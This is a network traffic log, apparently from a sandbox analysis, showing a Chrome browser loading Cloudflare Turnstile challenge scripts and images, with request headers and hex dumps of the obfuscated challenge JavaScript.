2025-01-09 23:21:05 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49786	104.18.94.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:05 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ff82960bc478c6f&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:06 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115270 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff82964d90a0dc7-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:06 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 6f 76 65 72 72 75 6e 5f 64 65 Data Ascii: back_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_failure":"Error","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_overrun_de
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 2c 66 55 2c 66 56 2c 66 57 2c 67 30 2c 67 31 2c 67 38 2c 67 68 2c 67 69 2c 67 66 2c 67 67 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 38 36 29 29 2f 31 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 35 39 31 29 29 2f 32 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 31 37 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 38 31 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 33 34 29 29 2f 35 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 39 30 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 32 39 36 29 29 2f 37 29 2b 2d 70 61 72 73 65 49 6e 74 28 Data Ascii: ,fU,fV,fW,g0,g1,g8,gh,gi,gf,gg){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(1286))/1(parseInt(gI(591))/2)+parseInt(gI(1417))/3(-parseInt(gI(381))/4)+parseInt(gI(1434))/5+parseInt(gI(590))/6*(-parseInt(gI(1296))/7)+-parseInt(
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 66 2c 67 2c 68 2c 67 4f 2c 69 2c 6a 2c 46 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 29 7b 69 3d 28 67 4f 3d 67 4a 2c 7b 27 64 64 6e 4c 6a 27 3a 67 4f 28 34 34 32 29 2c 27 4c 54 5a 42 48 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 29 7b 72 65 74 75 72 6e 20 45 28 46 2c 47 29 7d 2c 27 7a 4a 53 53 45 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 20 69 6e 73 74 61 6e 63 65 6f 66 20 46 7d 2c 27 6f 48 62 72 43 27 3a 67 4f 28 34 32 32 29 2c 27 61 55 74 6c 42 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 6a 46 78 4c 74 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 4b 62 52 4a 6c 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 Data Ascii: f,g,h,gO,i,j,F,k,l,m,n,o,s,x,B,C,D){i=(gO=gJ,{'ddnLj':gO(442),'LTZBH':function(E,F,G){return E(F,G)},'zJSSE':function(E,F){return E instanceof F},'oHbrC':gO(422),'aUtlB':function(E,F){return E+F},'jFxLt':function(E,F){return E+F},'KbRJl':function(E,F){ret
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 5b 67 4a 28 37 36 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 67 50 2c 65 2c 66 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 28 67 50 3d 67 4a 2c 65 3d 7b 27 68 66 41 67 4e 27 3a 67 50 28 31 31 38 38 29 2c 27 50 48 48 79 71 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3e 6f 7d 2c 27 77 6b 6b 52 59 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 2c 73 29 7b 72 65 74 75 72 6e 20 6e 28 6f 2c 73 29 7d 7d 2c 64 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 72 72 6f 72 29 3f 28 66 3d 64 5b 67 50 28 32 36 39 29 5d 2c 64 5b 67 50 28 33 36 30 29 5d 26 26 74 79 70 65 6f 66 20 64 5b 67 50 28 33 36 30 29 5d 3d 3d 3d 65 5b 67 50 28 38 34 36 29 5d 29 26 26 28 6a 3d 64 5b 67 50 28 33 36 30 29 5d 5b 67 50 28 31 35 37 34 29 5d 28 27 5c 6e 27 29 2c 65 5b Data Ascii: [gJ(760)]=function(d,gP,e,f,g,h,i,j,k,l,m){(gP=gJ,e={'hfAgN':gP(1188),'PHHyq':function(n,o){return n>o},'wkkRY':function(n,o,s){return n(o,s)}},d instanceof Error)?(f=d[gP(269)],d[gP(360)]&&typeof d[gP(360)]===e[gP(846)])&&(j=d[gP(360)][gP(1574)]('\n'),e[
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 29 5d 3d 3d 3d 64 5b 68 4a 28 37 34 33 29 5d 26 26 65 5b 68 4a 28 38 39 34 29 5d 3d 3d 3d 68 4a 28 37 30 38 29 3f 66 73 3d 64 5b 68 4a 28 34 31 32 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 68 4b 29 7b 68 4b 3d 68 4a 2c 64 5b 68 4b 28 38 33 37 29 5d 28 66 53 29 7d 2c 31 65 33 29 3a 65 26 26 64 5b 68 4a 28 35 35 38 29 5d 28 65 5b 68 4a 28 31 33 38 30 29 5d 2c 68 4a 28 34 34 32 29 29 26 26 65 5b 68 4a 28 38 39 34 29 5d 3d 3d 3d 64 5b 68 4a 28 31 31 32 33 29 5d 26 26 64 5b 68 4a 28 31 32 34 32 29 5d 28 63 6c 65 61 72 49 6e 74 65 72 76 61 6c 2c 66 73 29 7d 29 2c 66 75 3d 21 5b 5d 2c 21 65 56 28 67 4a 28 31 35 35 31 29 29 26 26 28 66 53 28 29 2c 73 65 74 49 6e 74 65 72 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 69 6a 2c 63 2c 64 2c 65 Data Ascii: )]===d[hJ(743)]&&e[hJ(894)]===hJ(708)?fs=d[hJ(412)](setInterval,function(hK){hK=hJ,d[hK(837)](fS)},1e3):e&&d[hJ(558)](e[hJ(1380)],hJ(442))&&e[hJ(894)]===d[hJ(1123)]&&d[hJ(1242)](clearInterval,fs)}),fu=![],!eV(gJ(1551))&&(fS(),setInterval(function(ij,c,d,e
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3d 3d 69 7d 2c 27 4a 57 67 52 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 21 3d 3d 68 7d 2c 27 66 4c 69 59 61 27 3a 69 6b 28 32 36 34 29 2c 27 62 73 5a 74 61 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 6e 44 63 67 72 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 69 67 74 56 46 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 46 6b 56 71 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 4f 4c 63 4d 44 27 3a 69 6b 28 38 33 36 29 2c 27 5a 6c 76 42 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e Data Ascii: on(h,i){return h==i},'JWgRE':function(h,i){return i!==h},'fLiYa':ik(264),'bsZta':function(h,i){return h(i)},'nDcgr':function(h,i){return i==h},'igtVF':function(h,i){return i\|h},'FkVqi':function(h,i){return h-i},'OLcMD':ik(836),'ZlvBE':function(h,i){return
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 3d 30 2c 48 5b 69 70 28 38 32 39 29 5d 28 64 5b 69 70 28 31 34 37 37 29 5d 28 6f 2c 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 50 3d 31 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 70 28 33 34 39 29 5d 28 49 3c 3c 31 2c 50 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 69 70 28 38 32 39 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3d 30 2c 78 2b 2b 29 3b 66 6f 72 28 50 3d 44 5b 69 70 28 31 34 32 34 29 5d 28 30 29 2c 78 3d 30 3b 64 5b 69 70 28 36 36 31 29 5d 28 31 36 2c 78 29 3b 49 3d 64 5b 69 70 28 31 34 38 33 29 5d 28 49 2c 31 29 7c 31 2e 33 38 26 50 2c 64 5b 69 70 28 31 33 38 38 29 5d 28 4a 2c 6a 2d 31 29 3f 28 4a 3d 30 2c 48 5b 69 70 28 38 32 39 29 5d 28 64 5b 69 70 28 35 39 33 29 5d Data Ascii: =0,H[ip(829)](d[ip(1477)](o,I)),I=0):J++,P>>=1,x++);}else{for(P=1,x=0;x<G;I=d[ip(349)](I<<1,P),J==j-1?(J=0,H[ip(829)](o(I)),I=0):J++,P=0,x++);for(P=D[ip(1424)](0),x=0;d[ip(661)](16,x);I=d[ip(1483)](I,1)\|1.38&P,d[ip(1388)](J,j-1)?(J=0,H[ip(829)](d[ip(593)]
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 5d 7d 7d 65 6c 73 65 20 66 6f 72 28 50 3d 42 5b 44 5d 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 70 28 31 34 38 33 29 5d 28 49 2c 31 29 7c 50 26 31 2e 38 36 2c 6a 2d 31 3d 3d 4a 3f 28 4a 3d 30 2c 48 5b 69 70 28 38 32 39 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 45 2d 2d 2c 45 3d 3d 30 26 26 47 2b 2b 7d 66 6f 72 28 50 3d 32 2c 78 3d 30 3b 78 3c 47 3b 49 3d 64 5b 69 70 28 31 32 35 36 29 5d 28 49 3c 3c 31 2e 37 39 2c 64 5b 69 70 28 31 31 35 36 29 5d 28 50 2c 31 29 29 2c 4a 3d 3d 6a 2d 31 3f 28 4a 3d 30 2c 48 5b 69 70 28 38 32 39 29 5d 28 6f 28 49 29 29 2c 49 3d 30 29 3a 4a 2b 2b 2c 50 3e 3e 3d 31 2c 78 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 49 3c 3c 3d 31 2c 4a 3d 3d 64 5b 69 70 28 31 31 38 37 29 5d 28 6a 2c 31 Data Ascii: ]}}else for(P=B[D],x=0;x<G;I=d[ip(1483)](I,1)\|P&1.86,j-1==J?(J=0,H[ip(829)](o(I)),I=0):J++,P>>=1,x++);E--,E==0&&G++}for(P=2,x=0;x<G;I=d[ip(1256)](I<<1.79,d[ip(1156)](P,1)),J==j-1?(J=0,H[ip(829)](o(I)),I=0):J++,P>>=1,x++);for(;;)if(I<<=1,J==d[ip(1187)](j,1
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 65 74 75 72 6e 27 27 7d 66 6f 72 28 45 3d 73 5b 33 5d 3d 4d 2c 44 5b 69 73 28 38 32 39 29 5d 28 4d 29 3b 3b 29 7b 69 66 28 49 3e 69 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 73 28 31 34 33 36 29 5d 28 32 2c 43 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 48 26 47 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d 64 5b 69 73 28 35 39 33 29 5d 28 6f 2c 49 2b 2b 29 29 2c 4a 7c 3d 46 2a 28 30 3c 4c 3f 31 3a 30 29 2c 46 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4d 3d 4a 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 69 73 28 31 34 33 36 29 5d 28 32 2c 38 29 2c 46 3d 31 3b 46 21 3d 4b 3b 4c 3d 64 5b 69 73 28 31 33 38 37 29 5d 28 47 2c 48 29 2c 48 3e 3e 3d 31 2c 30 3d 3d 48 26 26 28 48 3d 6a 2c 47 3d Data Ascii: eturn''}for(E=s[3]=M,D[is(829)](M);;){if(I>i)return'';for(J=0,K=Math[is(1436)](2,C),F=1;F!=K;L=H&G,H>>=1,0==H&&(H=j,G=d[is(593)](o,I++)),J\|=F*(0<L?1:0),F<<=1);switch(M=J){case 0:for(J=0,K=Math[is(1436)](2,8),F=1;F!=K;L=d[is(1387)](G,H),H>>=1,0==H&&(H=j,G=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49787	104.18.94.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:06 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/df0n5/0x4AAAAAAA1wI9U09BCnh_d1/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:06 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:06 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ff829653daa19ae-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:06 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49794	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:06 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:06 UTC	240	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:06 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8ff8296928e5f795-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:06 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	49795	104.18.95.41	443	3636	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:21:06 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ff82960bc478c6f&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-09 23:21:06 UTC	331	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 23:21:06 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 115846 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8ff82969d8b20dc7-EWR alt-svc: h3=":443"; ma=86400
2025-01-09 23:21:06 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"http
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 61 76 61 69 6c 61 62 6c 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 30 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 30 69 66 25 32 30 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 Data Ascii: available","turnstile_feedback_description":"Send%20Feedback","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%20Administrator%20if%20this%20problem%20persists.","turnstile_verifying":"Verifying...","turnstile_iframe_alt":"Widget%20containing%20
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 2c 66 55 2c 66 59 2c 66 5a 2c 67 36 2c 67 66 2c 67 67 2c 67 47 2c 67 48 2c 67 64 2c 67 65 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 37 34 29 29 2f 31 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 33 35 29 29 2f 32 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 38 35 31 29 29 2f 33 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 32 39 35 29 29 2f 34 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 37 30 39 29 29 2f 35 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 31 34 32 36 29 29 2f 36 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 31 34 33 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 Data Ascii: ,fU,fY,fZ,g6,gf,gg,gG,gH,gd,ge){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(574))/1+-parseInt(gI(1435))/2(parseInt(gI(851))/3)+parseInt(gI(295))/4(-parseInt(gI(709))/5)+parseInt(gI(1426))/6*(-parseInt(gI(1143))/7)+parseInt(g
2025-01-09 23:21:06 UTC	1369	IN	Data Raw: 5d 28 68 2c 67 4d 28 31 36 33 38 29 29 2c 6c 3d 65 4d 5b 67 4d 28 32 34 36 29 5d 5b 67 4d 28 31 34 36 33 29 5d 3f 69 5b 67 4d 28 33 30 31 29 5d 28 27 68 2f 27 2c 65 4d 5b 67 4d 28 32 34 36 29 5d 5b 67 4d 28 31 34 36 33 29 5d 29 2b 27 2f 27 3a 27 27 2c 6d 3d 69 5b 67 4d 28 33 30 31 29 5d 28 69 5b 67 4d 28 31 30 39 37 29 5d 2b 6c 2c 69 5b 67 4d 28 35 37 36 29 5d 29 2b 31 2b 69 5b 67 4d 28 33 32 30 29 5d 2b 65 4d 5b 67 4d 28 32 34 36 29 5d 5b 67 4d 28 31 34 34 31 29 5d 2b 27 2f 27 2b 65 4d 5b 67 4d 28 32 34 36 29 5d 2e 63 48 2b 27 2f 27 2b 65 4d 5b 67 4d 28 32 34 36 29 5d 5b 67 4d 28 32 35 39 29 5d 2c 6e 3d 7b 7d 2c 6e 5b 67 4d 28 31 33 30 36 29 5d 3d 65 4d 5b 67 4d 28 32 34 36 29 5d 5b 67 4d 28 31 33 30 36 29 5d 2c 6e 5b 67 4d 28 33 31 37 29 5d 3d 65 4d 5b Data Ascii: ](h,gM(1638)),l=eM[gM(246)][gM(1463)]?i[gM(301)]('h/',eM[gM(246)][gM(1463)])+'/':'',m=i[gM(301)](i[gM(1097)]+l,i[gM(576)])+1+i[gM(320)]+eM[gM(246)][gM(1441)]+'/'+eM[gM(246)].cH+'/'+eM[gM(246)][gM(259)],n={},n[gM(1306)]=eM[gM(246)][gM(1306)],n[gM(317)]=eM[
